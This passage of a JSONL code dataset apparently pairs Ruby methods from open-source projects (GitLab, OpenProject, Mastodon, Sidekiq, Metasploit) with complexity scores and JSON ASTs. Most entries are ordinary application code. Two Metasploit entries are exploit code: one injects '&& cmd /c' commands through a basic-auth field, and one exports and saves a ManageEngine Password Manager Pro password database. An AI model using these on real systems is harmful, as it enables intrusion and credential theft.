end","complexity_score":11.23,"ast_json":"{\"type\":\"def\",\"children\":[\"run_exploit\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"repo\"]},{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"cmd\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/web/index.php\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"authorization\"]},{\"type\":\"send\",\"children\":[null,\"basic_auth\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"str\",\"children\":[\" && cmd /c \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"p\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repo\"]}]},{\"type\":\"str\",\"children\":[\".git\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"str\",\"children\":[\"summary\"]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ConnectionError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ECONNRESET\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]}]}","id":"e2a4b195-6c4c-40de-9978-4b31194ed1ad"}
+{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/workers/meetings/pdf/default/attachments.rb","start_line":44,"raw_source":"def write_attachments_list_table(rows, columns_count)\n with_vertical_margin(styles.attachments_margins) do\n pdf.table(\n rows,\n column_widths: attachments_list_table_column_widths(columns_count),\n cell_style: styles.attachments_table_cell\n )\n end\n end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"write_attachments_list_table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rows\"]},{\"type\":\"arg\",\"children\":[\"columns_count\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_vertical_margin\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"styles\"]},\"attachments_margins\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pdf\"]},\"table\",{\"type\":\"lvar\",\"children\":[\"rows\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column_widths\"]},{\"type\":\"send\",\"children\":[null,\"attachments_list_table_column_widths\",{\"type\":\"lvar\",\"children\":[\"columns_count\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cell_style\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"styles\"]},\"attachments_table_cell\"]}]}]}]}]}]}","id":"4f634e33-05be-4596-9df0-8ab621d8ab81"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb","start_line":255,"raw_source":"def loot_passwords(cookie_admin)\n # 1st we turn on password exports\n send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'ConfigureOffline.ve'),\n 'cookie' => cookie_admin,\n 'vars_post' => {\n 'IS_XLS' => 'true',\n 'includePasswd' => 'true',\n 'HOMETAB' => 'true',\n 'RESTAB' => 'true',\n 'RGTAB' => 'true',\n 'PASSWD_RULE' => 'Offline Password File',\n 'LOGOUT_TIME' => '20'\n }\n })\n\n # now get the loot!\n res = send_request_cgi({\n 'method' => 'GET',\n 'uri' => normalize_uri(target_uri.path, 'jsp', 'xmlhttp', 'AjaxResponse.jsp'),\n 'cookie' => cookie_admin,\n 'vars_get' => {\n 'RequestType' => 'ExportResources'\n }\n })\n\n if res && res.code == 200 && res.body && !res.body.to_s.empty?\n vprint_line(res.body.to_s)\n print_good('Successfully exported password database from Password Manager Pro.')\n loot_name = 'manageengine.passwordmanagerpro.password.db'\n loot_type = 'text/csv'\n loot_filename = 'manageengine_pmp_password_db.csv'\n loot_desc = 'ManageEngine Password Manager Pro Password DB'\n p = store_loot(\n loot_name,\n loot_type,\n rhost,\n res.body,\n loot_filename,\n loot_desc\n )\n print_status(\"Password database saved in: #{p}\")\n else\n print_error('Failed to export Password Manager Pro passwords.')\n end\n end","complexity_score":44.05,"ast_json":"{\"type\":\"def\",\"children\":[\"loot_passwords\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cookie_admin\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"ConfigureOffline.ve\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"lvar\",\"children\":[\"cookie_admin\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"IS_XLS\"]},{\"type\":\"str\",\"children\":[\"true\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"includePasswd\"]},{\"type\":\"str\",\"children\":[\"true\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"HOMETAB\"]},{\"type\":\"str\",\"children\":[\"true\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RESTAB\"]},{\"type\":\"str\",\"children\":[\"true\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RGTAB\"]},{\"type\":\"str\",\"children\":[\"true\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PASSWD_RULE\"]},{\"type\":\"str\",\"children\":[\"Offline Password File\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"LOGOUT_TIME\"]},{\"type\":\"str\",\"children\":[\"20\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"jsp\"]},{\"type\":\"str\",\"children\":[\"xmlhttp\"]},{\"type\":\"str\",\"children\":[\"AjaxResponse.jsp\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"lvar\",\"children\":[\"cookie_admin\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequestType\"]},{\"type\":\"str\",\"children\":[\"ExportResources\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"to_s\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_line\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Successfully exported password database from Password Manager Pro.\"]}]},{\"type\":\"lvasgn\",\"children\":[\"loot_name\",{\"type\":\"str\",\"children\":[\"manageengine.passwordmanagerpro.password.db\"]}]},{\"type\":\"lvasgn\",\"children\":[\"loot_type\",{\"type\":\"str\",\"children\":[\"text/csv\"]}]},{\"type\":\"lvasgn\",\"children\":[\"loot_filename\",{\"type\":\"str\",\"children\":[\"manageengine_pmp_password_db.csv\"]}]},{\"type\":\"lvasgn\",\"children\":[\"loot_desc\",{\"type\":\"str\",\"children\":[\"ManageEngine Password Manager Pro Password DB\"]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"lvar\",\"children\":[\"loot_name\"]},{\"type\":\"lvar\",\"children\":[\"loot_type\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},{\"type\":\"lvar\",\"children\":[\"loot_filename\"]},{\"type\":\"lvar\",\"children\":[\"loot_desc\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Password database saved in: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Failed to export Password Manager Pro passwords.\"]}]}]}]}]}","id":"aa1b63c6-60ee-4179-9b6e-062d279d8921"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/wiki_link_gollum_filter.rb","start_line":97,"raw_source":"def set_common_attributes(node)\n node.add_class('gfm')\n node['data-canonical-src'] = node[:href]\n node['data-link'] = true\n node['data-gollum'] = true\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_common_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"add_class\",{\"type\":\"str\",\"children\":[\"gfm\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"data-canonical-src\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"href\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"data-link\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"data-gollum\"]},{\"type\":\"true\",\"children\":[]}]}]}]}","id":"af901614-b05c-4f3e-b855-ba4341439f3d"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/password_crackers/cracker.rb","start_line":274,"raw_source":"def mode_normal\n if cracker == 'john'\n self.max_runtime = nil\n self.mask = nil\n self.wordlist = nil\n self.rules = nil\n self.incremental = nil\n self.increment_length = nil\n end\n end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"mode_normal\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cracker\"]},\"==\",{\"type\":\"str\",\"children\":[\"john\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"max_runtime=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"mask=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"wordlist=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"rules=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"incremental=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"increment_length=\",{\"type\":\"nil\",\"children\":[]}]}]},null]}]}","id":"791fad75-fedd-4bc8-96f3-2bfc54475469"}
+{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/cli.rb","start_line":218,"raw_source":"def handle_signal(sig)\n logger.debug \"Got #{sig} signal\"\n SIGNAL_HANDLERS[sig].call(self)\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_signal\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sig\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Got \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sig\"]}]},{\"type\":\"str\",\"children\":[\" signal\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SIGNAL_HANDLERS\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"sig\"]}]},\"call\",{\"type\":\"self\",\"children\":[]}]}]}]}","id":"578cb472-81ca-4389-9f93-96e2dbc051c4"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/clusters/destroy_service.rb","start_line":21,"raw_source":"def cleanup?\n Gitlab::Utils.to_boolean(params[:cleanup])\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"cleanup?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Utils\"]},\"to_boolean\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cleanup\"]}]}]}]}","id":"68a24b9f-e88d-43ee-9961-54b9a34e670f"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/component/members/invite_members_modal.rb","start_line":57,"raw_source":"def invite_group(group_name, access_level = 'Guest', refresh_page: true)\n open_invite_group_modal\n\n within_element('invite-modal') do\n click_button 'Select a group'\n\n Support::WaitForRequests.wait_for_requests\n\n search_and_select(group_name)\n\n set_access_level(access_level)\n end\n\n send_invite(refresh_page)\n end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"invite_group\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group_name\"]},{\"type\":\"optarg\",\"children\":[\"access_level\",{\"type\":\"str\",\"children\":[\"Guest\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"refresh_page\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"open_invite_group_modal\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_element\",{\"type\":\"str\",\"children\":[\"invite-modal\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"click_button\",{\"type\":\"str\",\"children\":[\"Select a group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Support\"]},\"WaitForRequests\"]},\"wait_for_requests\"]},{\"type\":\"send\",\"children\":[null,\"search_and_select\",{\"type\":\"lvar\",\"children\":[\"group_name\"]}]},{\"type\":\"send\",\"children\":[null,\"set_access_level\",{\"type\":\"lvar\",\"children\":[\"access_level\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_invite\",{\"type\":\"lvar\",\"children\":[\"refresh_page\"]}]}]}]}","id":"cff7c9b7-4a77-4fc4-aa88-490929d58413"}
+{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/rest/media_attachment_serializer.rb","start_line":44,"raw_source":"def text_url\n object.local? && object.shortcode.present? ? medium_url(object) : nil\n end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"text_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"local?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"shortcode\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[null,\"medium_url\",{\"type\":\"send\",\"children\":[null,\"object\"]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"c11ea163-a79f-442f-afa2-5965da08b94a"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/account_controller.rb","start_line":421,"raw_source":"def invited_account_not_activated(_user)\n flash_error_message(log_reason: \"invited, NOT ACTIVATED\", flash_now: false) do\n \"account.error_inactive_activation_by_mail\"\n end\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"invited_account_not_activated\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_user\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash_error_message\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"log_reason\"]},{\"type\":\"str\",\"children\":[\"invited, NOT ACTIVATED\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"flash_now\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"account.error_inactive_activation_by_mail\"]}]}]}","id":"1097407f-3df2-47ac-aa39-8a89172a4ba9"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/backfill_partitioned_uploads.rb","start_line":76,"raw_source":"def process_upload_type(sub_batch, model_table, model_name, sources, targets, join_key, db_name)\n relation = sub_batch.select(:id, :model_type).limit(sub_batch_size)\n targets ||= sources\n join_key ||= 'id'\n # Columns that will be reset (nullified) as they are not used for sharding keys\n reset_columns = sharding_key_columns - targets\n # All columns to back-fill\n target_columns = (columns + targets + reset_columns).join(', ')\n # All columns to source from\n source_columns = source_columns_sql(sources, reset_columns)\n # For existing records update only sharding key columns (if any)\n on_conflict = if targets.any?\n \"UPDATE SET #{sharding_key_columns.map { |c| \"#{c} = EXCLUDED.#{c}\" }.join(', ')}\"\n else\n \"NOTHING\"\n end\n\n # For models stored in the Sec database we need to first fetch the values needed,\n # and add them to the upsert as CTE\n model_values_cte = \"\"\n if db_name == :sec\n sec_cte = sec_model_values_cte(sub_batch, model_name, join_key, sources, model_table)\n return unless sec_cte\n\n source_columns = source_columns_sql(sources, reset_columns, nullif: true)\n model_values_cte = sec_cte\n end\n\n upsert = <<~SQL\n WITH relation AS MATERIALIZED (#{relation.to_sql}),\n filtered_relation AS MATERIALIZED (\n SELECT id FROM relation WHERE model_type = '#{model_name}' LIMIT #{sub_batch_size}\n )\n #{model_values_cte}\n INSERT INTO uploads_9ba88c4165 (#{target_columns})\n SELECT #{source_columns} FROM uploads\n JOIN #{model_table} AS model ON uploads.model_id = model.#{join_key}\n WHERE uploads.id IN (SELECT id FROM filtered_relation)\n ON CONFLICT ON CONSTRAINT uploads_9ba88c4165_pkey DO #{on_conflict}\n SQL\n\n connection.execute(upsert)\n end","complexity_score":41.4,"ast_json":"{\"type\":\"def\",\"children\":[\"process_upload_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sub_batch\"]},{\"type\":\"arg\",\"children\":[\"model_table\"]},{\"type\":\"arg\",\"children\":[\"model_name\"]},{\"type\":\"arg\",\"children\":[\"sources\"]},{\"type\":\"arg\",\"children\":[\"targets\"]},{\"type\":\"arg\",\"children\":[\"join_key\"]},{\"type\":\"arg\",\"children\":[\"db_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sub_batch\"]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"model_type\"]}]},\"limit\",{\"type\":\"send\",\"children\":[null,\"sub_batch_size\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"targets\"]},{\"type\":\"lvar\",\"children\":[\"sources\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"join_key\"]},{\"type\":\"str\",\"children\":[\"id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"reset_columns\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sharding_key_columns\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"targets\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"target_columns\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"columns\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"targets\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"reset_columns\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"source_columns\",{\"type\":\"send\",\"children\":[null,\"source_columns_sql\",{\"type\":\"lvar\",\"children\":[\"sources\"]},{\"type\":\"lvar\",\"children\":[\"reset_columns\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"on_conflict\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"targets\"]},\"any?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE SET \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sharding_key_columns\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]}]},{\"type\":\"str\",\"children\":[\" = EXCLUDED.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]},{\"type\":\"str\",\"children\":[\"NOTHING\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"model_values_cte\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_name\"]},\"==\",{\"type\":\"sym\",\"children\":[\"sec\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sec_cte\",{\"type\":\"send\",\"children\":[null,\"sec_model_values_cte\",{\"type\":\"lvar\",\"children\":[\"sub_batch\"]},{\"type\":\"lvar\",\"children\":[\"model_name\"]},{\"type\":\"lvar\",\"children\":[\"join_key\"]},{\"type\":\"lvar\",\"children\":[\"sources\"]},{\"type\":\"lvar\",\"children\":[\"model_table\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sec_cte\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"source_columns\",{\"type\":\"send\",\"children\":[null,\"source_columns_sql\",{\"type\":\"lvar\",\"children\":[\"sources\"]},{\"type\":\"lvar\",\"children\":[\"reset_columns\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"nullif\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"model_values_cte\",{\"type\":\"lvar\",\"children\":[\"sec_cte\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"upsert\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"WITH relation AS MATERIALIZED (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"to_sql\"]}]},{\"type\":\"str\",\"children\":[\"),\\n\"]},{\"type\":\"str\",\"children\":[\" filtered_relation AS MATERIALIZED (\\n\"]},{\"type\":\"str\",\"children\":[\" SELECT id FROM relation WHERE model_type = '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_name\"]}]},{\"type\":\"str\",\"children\":[\"' LIMIT \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sub_batch_size\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" )\\n\"]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_values_cte\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"INSERT INTO uploads_9ba88c4165 (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_columns\"]}]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"SELECT \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_columns\"]}]},{\"type\":\"str\",\"children\":[\" FROM uploads\\n\"]},{\"type\":\"str\",\"children\":[\"JOIN \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_table\"]}]},{\"type\":\"str\",\"children\":[\" AS model ON uploads.model_id = model.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"join_key\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE uploads.id IN (SELECT id FROM filtered_relation)\\n\"]},{\"type\":\"str\",\"children\":[\"ON CONFLICT ON CONSTRAINT uploads_9ba88c4165_pkey DO \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"on_conflict\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"execute\",{\"type\":\"lvar\",\"children\":[\"upsert\"]}]}]}]}","id":"1430aba1-becc-4c29-abb1-85594201cdfa"}
